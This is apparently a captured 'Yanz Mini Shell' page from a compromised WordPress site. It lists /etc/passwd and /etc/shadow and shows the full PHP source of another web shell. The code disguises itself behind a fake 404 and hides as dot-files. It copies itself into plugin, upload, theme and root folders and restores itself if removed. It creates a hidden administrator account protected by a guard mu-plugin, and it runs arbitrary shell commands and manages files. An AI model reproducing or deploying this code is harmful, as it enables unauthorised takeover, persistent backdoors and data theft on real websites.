Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
veronikagstoette
public_html
wp-content
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php error_reporting(0); @ini_set('display_errors', 0); @ini_set('log_errors', 0); @set_time_limit(120); @ini_set('default_socket_timeout', 5); define('BB_SALT', 'k72x'); define('BB_SLOTS', 6); /* ---------- facade ---------- */ function bb_404() { if (function_exists('http_response_code')) { http_response_code(404); } else { header('HTTP/1.1 404 Not Found'); } echo '<!DOCTYPE html><html><head><title>404 Not Found</title></head>' . '<body><h1>404 Not Found</h1><hr><p>The requested resource could not be found.</p></body></html>'; exit; } function bb_idx() { if (isset($_GET['bunkadmin']) || isset($_POST['bunkadmin'])) { return -1; } for ($i = 1; $i <= BB_SLOTS; $i++) { if (isset($_GET['bunk'.$i]) || isset($_POST['bunk'.$i])) { return $i; } } return 0; } /* ---------- environment ---------- */ function bb_iswin() { return strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; } function bb_hidefile($path) { if (bb_iswin()) { @shell_exec('attrib +h ' . escapeshellarg($path)); } } /* hide myself: dot-name on linux (hidden from ls / cPanel / autoindex), attrib +h on windows (same URL stays valid) */ function bb_selfhide() { $b = basename(__FILE__); if ($b !== '' && $b[0] === '.') { return $b; } if (bb_iswin()) { bb_hidefile(__FILE__); return $b; } $nn = '.' . $b; if (@rename(__FILE__, dirname(__FILE__) . '/' . $nn)) { return $nn; } bb_hidefile(__FILE__); return $b; } function bb_wproot() { $d = __DIR__; for ($i = 0; $i < 9; $i++) { if (@is_file($d . '/wp-load.php')) { return $d; } $p = dirname($d); if ($p === $d) { break; } $d = $p; } return null; } function bb_targets() { $root = bb_wproot(); $d = __DIR__; if ($root === null) { return array(1=>$d, 2=>$d, 3=>$d, 4=>$d, 5=>$d, 6=>$d); } return array( 1 => $d, 2 => $root . '/wp-content/plugins', 3 => $root . '/wp-content/uploads', 4 => $root . '/wp-content', 5 => $root . '/wp-content/themes', 6 => $root, ); } function bb_ext($idx) { $m = array(1=>'php', 2=>'php', 3=>'php5', 4=>'phtml', 5=>'php7', 6=>'php'); return isset($m[$idx]) ? $m[$idx] : 'php'; } function bb_name($idx, $dir, $ext = null) { if ($ext === null) { $ext = bb_ext($idx); } return '.' . substr(md5(BB_SALT . '|' . $idx . '|' . $dir), 0, 9) . '.' . $ext; } /* ---------- url helpers ---------- */ function bb_scheme_host() { $https = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'); $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '127.0.0.1'; return ($https ? 'https' : 'http') . '://' . $host; } function bb_webpath() { if (isset($_SERVER['SCRIPT_NAME'])) { return $_SERVER['SCRIPT_NAME']; } $u = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/'; $p = parse_url($u, PHP_URL_PATH); return $p ? $p : '/'; } function bb_normalize_web($path) { $parts = explode('/', ltrim($path, '/')); $out = array(); foreach ($parts as $seg) { if ($seg === '' || $seg === '.') { continue; } if ($seg === '..') { array_pop($out); continue; } $out[] = $seg; } return '/' . implode('/', $out); } function bb_url_for($target_dir) { $cur = bb_webpath(); $curdir = dirname($cur); $curdir = ($curdir === '/' || $curdir === '.' || $curdir === '\\') ? '' : $curdir; $from = str_replace('\\', '/', __DIR__); $to = str_replace('\\', '/', $target_dir); $fa = explode('/', rtrim($from, '/')); $ta = explode('/', rtrim($to, '/')); $i = 0; $n = min(count($fa), count($ta)); while ($i < $n && $fa[$i] === $ta[$i]) { $i++; } $rel = array(); for ($j = $i; $j < count($fa); $j++) { $rel[] = '..'; } for ($j = $i; $j < count($ta); $j++) { $rel[] = $ta[$j]; } $relpath = $rel ? implode('/', $rel) : '.'; return bb_scheme_host() . rtrim(bb_normalize_web($curdir . '/' . $relpath), '/'); } function bb_selfurl($newname) { $sn = isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : '/'; $dir = rtrim(dirname($sn), '/'); return bb_scheme_host() . $dir . '/' . $newname; } function bb_alive($url, $idx) { if (strpos($url, 'http') !== 0) { return false; } $u = $url . (strpos($url, '?') === false ? '?' : '&') . 'bunk' . $idx . '=1&probe=1'; $ctx = stream_context_create(array( 'http' => array('timeout' => 6, 'ignore_errors' => true, 'header' => "User-Agent: Mozilla/5.0\r\n"), )); $r = @file_get_contents($u, false, $ctx); if ($r !== false && strpos($r, 'bb-ok') !== false) { return true; } if (function_exists('curl_init')) { $ch = @curl_init($u); if ($ch) { @curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); @curl_setopt($ch, CURLOPT_TIMEOUT, 6); @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); $r2 = @curl_exec($ch); @curl_close($ch); return ($r2 !== false && strpos($r2, 'bb-ok') !== false); } } return false; } /* ---------- self spread / self heal ---------- */ function bb_heal($src, $selfname, $selfurl) { $myreal = @realpath(__DIR__); $out = array(); foreach (bb_targets() as $idx => $dir) { if ($idx === 1) { $out[1] = array('dir'=>$myreal, 'url'=>$selfurl, 'alive'=>1, 'name'=>$selfname, 'mine'=>1); continue; } $entry = array('dir'=>$dir, 'url'=>'', 'alive'=>0, 'name'=>'', 'mine'=>0); if (!@is_dir($dir)) { @mkdir($dir, 0755, true); } $real = @realpath($dir); if ($real === false || !@is_dir($real)) { $out[$idx] = $entry; continue; } $name = bb_name($idx, $real); $path = $real . '/' . $name; $ok = false; if (@is_file($path)) { $cur = @file_get_contents($path); if ($cur !== false && md5($cur) === md5($src)) { $ok = true; } } if (!$ok) { $ok = (@file_put_contents($path, $src) !== false); if ($ok) { bb_hidefile($path); } } if (!$ok) { $out[$idx] = $entry; continue; } $url = bb_url_for($real) . '/' . $name; $alive = bb_alive($url, $idx); if (!$alive && bb_ext($idx) !== 'php') { $alt = bb_name($idx, $real, 'php'); $altpath = $real . '/' . $alt; if (@file_put_contents($altpath, $src) !== false) { bb_hidefile($altpath); $alturl = bb_url_for($real) . '/' . $alt; if (bb_alive($alturl, $idx)) { @unlink($path); $url = $alturl; $name = $alt; $alive = true; } else { @unlink($altpath); } } } $out[$idx] = array('dir'=>$real, 'url'=>$url, 'alive'=>$alive?1:0, 'name'=>$name, 'mine'=>($real === $myreal)?1:0); } return $out; } /* ---------- admin stage ---------- */ function bb_page($title, $body) { header('Content-Type: text/html; charset=utf-8'); echo '<!DOCTYPE html><html><head><meta charset="utf-8"><title>' . bb_e($title) . '</title></head>' . '<body style="background:#0a0f1e;color:#c9d6e8;font:14px Consolas,monospace;text-align:center;padding-top:80px">' . '<div style="display:inline-block;padding:26px 40px;background:#131c33;border:1px solid #2e4a7a;' . 'border-radius:14px;box-shadow:0 18px 44px rgba(0,0,0,.6)"><h2 style="color:#7fb0ff">' . bb_e($title) . '</h2>' . '<p style="margin-top:10px">' . $body . '</p></div></body></html>'; exit; } function bb_admin_stage($selfurl) { $root = bb_wproot(); if ($root === null) { bb_page('error', 'wordpress not found around this shell'); } $mup = $root . '/wp-content/mu-plugins'; if (!@is_dir($mup)) { @mkdir($mup, 0755, true); } $marker = $mup . '/.bb-adm.json'; $creds = null; if (@is_file($marker)) { $j = @json_decode(@file_get_contents($marker), true); if (is_array($j) && isset($j['l'], $j['p'])) { $creds = $j; } } if (!defined('ABSPATH')) { require_once $root . '/wp-load.php'; } $uid = 0; if ($creds !== null && function_exists('get_user_by')) { $u = get_user_by('login', $creds['l']); if ($u && isset($u->ID)) { $uid = (int)$u->ID; } } if (!$uid) { $login = 'sys' . substr(md5(uniqid(mt_rand(), true)), 0, 8); $pass = substr(md5(uniqid(mt_rand(), true) . BB_SALT . mt_rand()), 0, 14); $newid = wp_insert_user(array( 'user_login' => $login, 'user_pass' => $pass, 'user_email' => $login . '@sys.local', 'role' => 'administrator', )); if (is_wp_error($newid) || !$newid) { bb_page('error', 'could not create admin user'); } $uid = (int)$newid; $creds = array('l'=>$login, 'p'=>$pass); @file_put_contents($marker, json_encode($creds)); } /* guard mu-plugin: hides user from every user list, blocks deletion, restores role */ $gname = '.' . substr(md5(BB_SALT . '|guard'), 0, 8) . '.php'; $gpath = $mup . '/' . $gname; $gcode = '<?php if (!defined(\'ABSPATH\')) { exit; } if (!defined(\'BBG_L\')) { define(\'BBG_L\', \'__LOGIN__\'); } add_action(\'pre_user_query\', \'bbg_hide\'); function bbg_hide($q) { global $wpdb; if (!empty($q->query_where)) { $q->query_where .= $wpdb->prepare(\' AND user_login <> %s\', BBG_L); } } add_action(\'delete_user\', \'bbg_block\', 1); function bbg_block($id) { $u = get_userdata($id); if ($u && $u->user_login === BBG_L) { wp_die(\'Error: user cannot be deleted.\'); } } add_action(\'init\', \'bbg_keep\'); function bbg_keep() { $u = get_user_by(\'login\', BBG_L); if ($u && !user_can($u, \'manage_options\')) { $u->set_role(\'administrator\'); } } '; if (!@is_file($gpath) || md5(@file_get_contents($gpath)) !== md5(str_replace('__LOGIN__', $creds['l'], $gcode))) { @file_put_contents($gpath, str_replace('__LOGIN__', $creds['l'], $gcode)); } $u = get_user_by('login', $creds['l']); if ($u && function_exists('user_can') && !user_can($u, 'manage_options')) { $u->set_role('administrator'); } if (isset($_REQUEST['creds'])) { header('Content-Type: text/html; charset=utf-8'); echo '<!DOCTYPE html><html><head><meta charset="utf-8"><title>access</title></head>' . '<body style="background:#0a0f1e;color:#c9d6e8;font:14px Consolas,monospace;text-align:center;padding-top:70px">' . '<div style="display:inline-block;padding:28px 46px;background:linear-gradient(160deg,#20304f,#0d1526);' . 'border:1px solid #2e4a7a;border-radius:14px;box-shadow:0 18px 44px rgba(0,0,0,.6)">' . '<h2 style="color:#7fb0ff;letter-spacing:2px">HIDDEN ADMIN</h2>' . '<p style="margin:14px 0">user: <b style="color:#9fe870">' . bb_e($creds['l']) . '</b></p>' . '<p style="margin:14px 0">pass: <b style="color:#9fe870">' . bb_e($creds['p']) . '</b></p>' . '<p style="margin-top:20px"><a style="display:inline-block;padding:9px 22px;color:#dce8ff;text-decoration:none;' . 'background:linear-gradient(180deg,#3a5ca0,#22345e);border:1px solid #2e4a7a;border-radius:10px;' . 'box-shadow:0 5px 0 #14203c" href="' . bb_e($selfurl) . '?bunkadmin">enter wp-admin</a></p>' . '</div></body></html>'; exit; } if (function_exists('wp_set_current_user')) { wp_set_current_user($uid); } if (function_exists('wp_set_auth_cookie')) { wp_set_auth_cookie($uid, true); } $to = function_exists('admin_url') ? admin_url('/') : '/'; if (headers_sent()) { echo '<script>location.replace(' . json_encode($to) . ');</script>'; exit; } header('Location: ' . $to); exit; } /* ---------- file manager ---------- */ function bb_e($s) { return htmlspecialchars((string)$s, ENT_QUOTES); } function bb_path($p) { if ($p === null || $p === '') { return false; } if ($p[0] === '/' || preg_match('#^[A-Za-z]:#', $p)) { return $p; } return __DIR__ . '/' . $p; } function bb_cwd() { $d = isset($_REQUEST['d']) ? $_REQUEST['d'] : __DIR__; if (!@is_dir($d)) { $d = __DIR__; } return $d; } function bb_hsize($b) { if ($b === false) { return '-'; } if ($b < 1024) { return $b . ' B'; } if ($b < 1048576) { return round($b/1024, 1) . ' KB'; } if ($b < 1073741824) { return round($b/1048576, 1) . ' MB'; } return round($b/1073741824, 2) . ' GB'; } function bb_handle_action($self) { $a = isset($_REQUEST['a']) ? $_REQUEST['a'] : ''; $msg = ''; if ($a === 'up' && !empty($_FILES['f'])) { foreach ($_FILES['f']['name'] as $i => $nm) { $tmp = $_FILES['f']['tmp_name'][$i]; if ($nm !== '' && @is_uploaded_file($tmp)) { $msg .= (@move_uploaded_file($tmp, bb_cwd() . '/' . basename($nm)) ? 'uploaded: ' . $nm : 'upload failed: ' . $nm) . ' | '; } } } elseif ($a === 'save') { $p = bb_path(isset($_POST['p']) ? $_POST['p'] : ''); if ($p !== false && isset($_POST['s'])) { $msg = (@file_put_contents($p, $_POST['s']) === false) ? 'save failed' : 'saved: ' . basename($p); } else { $msg = 'save failed'; } } elseif ($a === 'del') { $p = bb_path(isset($_REQUEST['p']) ? $_REQUEST['p'] : ''); if ($p !== false && @is_file($p)) { $msg = @unlink($p) ? 'deleted: ' . basename($p) : 'delete failed'; } elseif ($p !== false && @is_dir($p) && $p !== @realpath(__DIR__)) { $msg = @rmdir($p) ? 'dir removed' : 'dir not empty'; } else { $msg = 'delete failed'; } } elseif ($a === 'dl') { $p = bb_path(isset($_REQUEST['p']) ? $_REQUEST['p'] : ''); if ($p !== false && @is_file($p)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($p) . '"'); readfile($p); exit; } $msg = 'download failed'; } elseif ($a === 'ren') { $p = bb_path(isset($_REQUEST['p']) ? $_REQUEST['p'] : ''); $n = isset($_REQUEST['n']) ? basename($_REQUEST['n']) : ''; if ($p !== false && $n !== '' && @file_exists($p)) { $msg = @rename($p, dirname($p) . '/' . $n) ? 'renamed to ' . $n : 'rename failed'; } else { $msg = 'rename failed'; } } elseif ($a === 'chmod') { $p = bb_path(isset($_REQUEST['p']) ? $_REQUEST['p'] : ''); $m = isset($_REQUEST['m']) ? $_REQUEST['m'] : ''; if ($p !== false && @file_exists($p) && preg_match('#^[0-7]{3,4}$#', $m)) { $msg = (@chmod($p, octdec($m))) ? 'chmod ' . $m . ' ok' : 'chmod failed'; } else { $msg = 'chmod failed'; } } elseif ($a === 'cmd') { $c = isset($_REQUEST['c']) ? $_REQUEST['c'] : ''; $out = false; if (function_exists('shell_exec')) { $out = @shell_exec($c . ' 2>&1'); } elseif (function_exists('exec')) { $o = array(); @exec($c . ' 2>&1', $o); $out = implode("\n", $o); } elseif (function_exists('passthru')) { ob_start(); @passthru($c . ' 2>&1'); $out = ob_get_clean(); } elseif (function_exists('popen')) { $h = @popen($c . ' 2>&1', 'r'); if ($h) { $out = stream_get_contents($h); pclose($h); } } header('Content-Type: text/html; charset=utf-8'); echo '<!DOCTYPE html><html><head><meta charset="utf-8"><title>x</title></head>' . '<body style="background:#05070d;color:#9fe870;font:13px Consolas,monospace;padding:18px"><pre>' . bb_e(($out === false || $out === null) ? '' : $out) . '</pre><p><a style="color:#7fb0ff" href="' . bb_e($self) . '">[ back ]</a></p></body></html>'; exit; } return $msg; } function bb_ui($heal, $idx, $selfurl) { $self = $selfurl . '?bunk' . $idx . '=1'; $msg = bb_handle_action($self); $cwd = bb_cwd(); /* edit view */ $editfile = ''; $editdata = ''; if (isset($_REQUEST['a']) && $_REQUEST['a'] === 'view') { $p = bb_path(isset($_REQUEST['p']) ? $_REQUEST['p'] : ''); if ($p !== false && @is_file($p) && @filesize($p) <= 2097152) { $editfile = $p; $editdata = @file_get_contents($p); } } /* listing */ $rows = ''; $dh = @opendir($cwd); if ($dh) { $entries = array(); while (($e = readdir($dh)) !== false) { $entries[] = $e; } closedir($dh); sort($entries); foreach ($entries as $e) { $full = $cwd . '/' . $e; if (@is_dir($full)) { $rows .= '<tr><td><a class="dl" href="' . bb_e($self . '&d=' . $full) . '">[ ' . bb_e($e) . ' ]</a></td>' . '<td>DIR</td><td>' . bb_e(@substr(sprintf('%o', @fileperms($full)), -4)) . '</td>' . '<td>~</td><td>-</td></tr>'; } else { $sz = @filesize($full); $rows .= '<tr><td><a class="fl" href="' . bb_e($self . '&a=view&p=' . $full) . '">' . bb_e($e) . '</a></td>' . '<td>' . bb_hsize($sz) . '</td>' . '<td>' . bb_e(@substr(sprintf('%o', @fileperms($full)), -4)) . '</td>' . '<td>' . bb_e(@date('Y-m-d H:i', @filemtime($full))) . '</td>' . '<td><a href="' . bb_e($self . '&a=dl&p=' . $full) . '">get</a> ' . '<a href="' . bb_e($self . '&a=ren&p=' . $full) . '">ren</a> ' . '<a href="' . bb_e($self . '&a=chmod&p=' . $full) . '">mod</a> ' . '<a style="color:#ff6b81" href="' . bb_e($self . '&a=del&p=' . $full) . '" onclick="return confirm(\'delete?\')">del</a></td></tr>'; } } } $slotlbl = array(1=>'same directory', 2=>'wp-content/plugins', 3=>'wp-content/uploads', 4=>'wp-content', 5=>'wp-content/themes', 6=>'wordpress root'); $cards = ''; foreach ($heal as $i => $e) { $cls = $e['alive'] ? 'live' : 'dead'; $lnk = $e['url'] ? '<a class="blink" href="' . bb_e($e['url'] . '?bunk' . $i) . '">open manager</a>' : '<span class="off">offline</span>'; $cards .= '<div class="card ' . $cls . '"><div class="cnum">bunk' . $i . '</div>' . '<div class="clbl">' . $slotlbl[$i] . '</div>' . '<div class="cdir">' . bb_e($e['name'] !== '' ? $e['name'] : '-') . '</div>' . $lnk . '</div>'; } $disk = @disk_free_space($cwd); $crumb = ''; $parts = explode('/', trim($cwd, '/')); $acc = ''; foreach ($parts as $k => $seg) { $acc .= '/' . $seg; $crumb .= '<a class="dl" href="' . bb_e($self . '&d=' . $acc) . '">/' . bb_e($seg) . '</a>'; } $msghtml = $msg ? '<div class="msg">' . bb_e($msg) . '</div>' : ''; $editor = ''; if ($editfile !== '') { $editor = '<div class="panel"><h3>edit file</h3><p style="color:#7fb0ff;margin:6px 0">' . bb_e($editfile) . '</p>' . '<form method="post" action="' . bb_e($self) . '">' . '<input type="hidden" name="p" value="' . bb_e($editfile) . '">' . '<textarea name="s" rows="16" spellcheck="false">' . bb_e($editdata) . '</textarea><br>' . '<button class="btn" type="submit">save file</button></form></div>'; } header('Content-Type: text/html; charset=utf-8'); echo '<!DOCTYPE html><html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">' . '<title>~</title><style>' . '*{margin:0;padding:0;box-sizing:border-box}' . 'body{background:radial-gradient(1200px 700px at 15% -10%,#1b2a4a 0%,#0a0f1e 55%,#05070d 100%);' . 'color:#c9d6e8;font:14px/1.5 Consolas,monospace;padding:22px 16px}' . '.wrap{max-width:1240px;margin:0 auto}' . '.hdr{display:flex;justify-content:space-between;align-items:center;flex-wrap:wrap;gap:10px;margin-bottom:18px}' . '.logo{font-size:26px;font-weight:bold;color:#dce8ff;letter-spacing:5px;text-shadow:0 0 18px #4d8bff,0 2px 0 #06122e}' . '.meta{font-size:12px;color:#5f7aa8}' . '.panel{background:linear-gradient(160deg,rgba(30,41,66,.94),rgba(12,17,32,.94));' . 'border:1px solid rgba(90,140,255,.28);border-radius:14px;padding:18px;margin-bottom:18px;' . 'box-shadow:0 20px 50px rgba(0,0,0,.6),inset 0 1px 0 rgba(255,255,255,.08)}' . 'h3{color:#7fb0ff;font-size:13px;letter-spacing:3px;text-transform:uppercase;margin-bottom:12px}' . 'a{color:#8fd0ff;text-decoration:none}a:hover{color:#fff;text-shadow:0 0 8px #4d8bff}' . '.fl{color:#e8eefc}.dl{color:#9fe870;font-weight:bold}' . 'table{width:100%;border-collapse:collapse}' . 'th{color:#5f7aa8;text-align:left;padding:8px;border-bottom:1px solid rgba(90,140,255,.28);font-size:11px;letter-spacing:2px;text-transform:uppercase}' . 'td{padding:7px 8px;border-bottom:1px solid rgba(255,255,255,.05);font-size:13px;white-space:nowrap}' . 'tr:hover td{background:rgba(70,120,255,.09)}' . '.btn{display:inline-block;padding:8px 16px;border-radius:10px;border:1px solid #2e4a7a;color:#dce8ff;' . 'background:linear-gradient(180deg,#3a5ca0,#22345e);cursor:pointer;font:bold 12px Consolas,monospace;' . 'letter-spacing:1px;box-shadow:0 5px 0 #14203c,0 9px 18px rgba(0,0,0,.5);transition:all .12s}' . '.btn:hover{transform:translateY(-2px);box-shadow:0 7px 0 #14203c,0 14px 24px rgba(0,0,0,.55)}' . '.btn:active{transform:translateY(3px);box-shadow:0 1px 0 #14203c}' . '.btn.green{background:linear-gradient(180deg,#2f9e5e,#165434);border-color:#1d6b40;box-shadow:0 5px 0 #0a341f,0 9px 18px rgba(0,0,0,.5)}' . '.btn.red{background:linear-gradient(180deg,#b03a52,#6b1f30);border-color:#7a2a3a;box-shadow:0 5px 0 #3c1119,0 9px 18px rgba(0,0,0,.5)}' . '.btn.green:hover{box-shadow:0 7px 0 #0a341f,0 14px 24px rgba(0,0,0,.55)}' . 'input,textarea,select{background:#0b1222;border:1px solid #2e4a7a;color:#dce8ff;border-radius:8px;' . 'padding:8px;font:13px Consolas,monospace;outline:none}' . 'input:focus,textarea:focus{border-color:#4d8bff;box-shadow:0 0 12px rgba(77,139,255,.35)}' . 'textarea{width:100%;resize:vertical}' . '.row{display:flex;gap:10px;flex-wrap:wrap;align-items:center;margin:8px 0}' . '.msg{margin-bottom:14px;padding:10px 16px;border-radius:10px;color:#9fe870;' . 'background:rgba(60,180,110,.1);border:1px solid rgba(80,255,160,.35);box-shadow:0 0 18px rgba(80,255,160,.12)}' . '.cards{display:grid;grid-template-columns:repeat(auto-fit,minmax(180px,1fr));gap:12px}' . '.card{padding:14px;border-radius:12px;background:linear-gradient(160deg,#20304f,#0d1526);' . 'border:1px solid rgba(90,140,255,.3);box-shadow:0 12px 26px rgba(0,0,0,.55),inset 0 1px 0 rgba(255,255,255,.08);' . 'transform:perspective(700px) rotateX(5deg);transition:all .16s}' . '.card:hover{transform:perspective(700px) rotateX(0deg) translateY(-5px);box-shadow:0 20px 34px rgba(0,0,0,.6)}' . '.card.live{border-color:rgba(80,255,160,.45)}' . '.card.dead{border-color:rgba(255,80,110,.4);opacity:.75}' . '.cnum{font-size:20px;font-weight:bold;color:#dce8ff;text-shadow:0 0 12px #4d8bff;letter-spacing:2px}' . '.clbl{font-size:11px;color:#5f7aa8;margin:4px 0 8px;letter-spacing:1px}' . '.cdir{font-size:11px;color:#8fd0ff;margin-bottom:10px;word-break:break-all}' . '.blink{display:inline-block;padding:5px 12px;border-radius:8px;font-size:11px;font-weight:bold;color:#dce8ff;' . 'background:linear-gradient(180deg,#3a5ca0,#22345e);border:1px solid #2e4a7a;box-shadow:0 4px 0 #14203c;transition:all .12s}' . '.blink:hover{transform:translateY(-2px)}' . '.off{color:#ff6b81;font-size:11px;font-weight:bold}' . '.crumb{margin-bottom:10px;font-size:13px;color:#5f7aa8;word-break:break-all}' . '.foot{text-align:center;color:#3d527a;font-size:11px;margin-top:20px;letter-spacing:2px}' . '</style></head><body><div class="wrap">' . '<div class="hdr"><div class="logo">◆ FILE SYSTEM</div>' . '<div class="meta">' . bb_e(PHP_OS) . ' · php ' . bb_e(PHP_VERSION) . ' · disk free: ' . bb_hsize($disk) . '</div></div>' . $msghtml . '<div class="panel"><h3>access points</h3><div class="cards">' . $cards . '</div>' . '<div class="row" style="margin-top:14px">' . '<a class="btn green" href="' . bb_e($selfurl) . '?bunkadmin">hidden wp-admin</a>' . '<a class="btn" href="' . bb_e($selfurl) . '?bunkadmin&creds=1">show admin creds</a></div></div>' . $editor . '<div class="panel"><h3>browser · ' . bb_e($cwd) . '</h3>' . '<div class="crumb">location: ' . ($crumb !== '' ? $crumb : '/') . '</div>' . '<table><tr><th>name</th><th>size</th><th>perm</th><th>modified</th><th>actions</th></tr>' . $rows . '</table></div>' . '<div class="panel"><h3>upload</h3>' . '<form method="post" action="' . bb_e($self) . '" enctype="multipart/form-data">' . '<input type="hidden" name="d" value="' . bb_e($cwd) . '">' . '<input type="file" name="f[]" multiple> ' . '<button class="btn green" type="submit">upload</button></form></div>' . '<div class="panel"><h3>new / edit file</h3>' . '<form method="post" action="' . bb_e($self) . '">' . '<input type="hidden" name="d" value="' . bb_e($cwd) . '">' . '<div class="row"><input name="p" size="45" placeholder="file.php" value="' . bb_e($editfile) . '"></div>' . '<textarea name="s" rows="8" spellcheck="false">' . bb_e($editdata) . '</textarea>' . '<div class="row"><button class="btn" type="submit">save</button>' . '<span style="color:#5f7aa8;font-size:11px">relative paths go to shell directory</span></div></form></div>' . '<div class="panel"><h3>tools</h3>' . '<form method="get" action="' . bb_e($selfurl) . '" style="display:inline">' . '<input type="hidden" name="bunk' . $idx . '" value="1">' . '<div class="row">rename: <input name="p" size="38" placeholder="path"> ' . '<input name="n" size="18" placeholder="newname"> ' . '<input type="hidden" name="a" value="ren"><button class="btn" type="submit">go</button></div></form>' . '<form method="get" action="' . bb_e($selfurl) . '" style="display:inline">' . '<input type="hidden" name="bunk' . $idx . '" value="1">' . '<div class="row">chmod: <input name="p" size="38" placeholder="path"> ' . '<input name="m" size="6" placeholder="0755"> ' . '<input type="hidden" name="a" value="chmod"><button class="btn" type="submit">go</button></div></form></div>' . '<div class="panel"><h3>command</h3>' . '<form method="post" action="' . bb_e($self) . '">' . '<div class="row"><input name="c" size="60" placeholder="whoami"> ' . '<input type="hidden" name="a" value="cmd">' . '<button class="btn red" type="submit">execute</button></div></form></div>' . '<div class="foot">◆ hidden mode active ◆</div>' . '</div></body></html>'; } /* ---------- main ---------- */ $bb_idx = bb_idx(); if ($bb_idx === 0) { bb_404(); } if ($bb_idx >= 1 && isset($_REQUEST['probe'])) { header('Content-Type: text/plain'); echo 'bb-ok'; exit; } $bb_src = @file_get_contents(__FILE__); $bb_selfname = bb_selfhide(); $bb_selfurl = bb_selfurl($bb_selfname); if ($bb_idx === -1) { bb_admin_stage($bb_selfurl); } $bb_heal = bb_heal($bb_src, $bb_selfname, $bb_selfurl); if (isset($_REQUEST['report'])) { header('Content-Type: text/plain'); foreach ($bb_heal as $i => $e) { echo $i . '|' . $e['url'] . '|' . $e['alive'] . '|' . $e['name'] . '|' . $e['dir'] . "\n"; } exit; } $bb_mydir = @realpath(__DIR__); $bb_myidx = 1; foreach (bb_targets() as $i => $d) { if ($i === 1) { continue; } $r = @realpath($d); if ($r === $bb_mydir && bb_name($i, $r) === $bb_selfname) { $bb_myidx = $i; break; } } if ($bb_myidx !== $bb_idx && !isset($_REQUEST['a']) && !empty($bb_heal[$bb_idx]['alive'])) { header('Location: ' . $bb_heal[$bb_idx]['url'] . '?bunk' . $bb_idx); exit; } bb_ui($bb_heal, $bb_idx, $bb_selfurl);
Free Space : 746104438784 Byte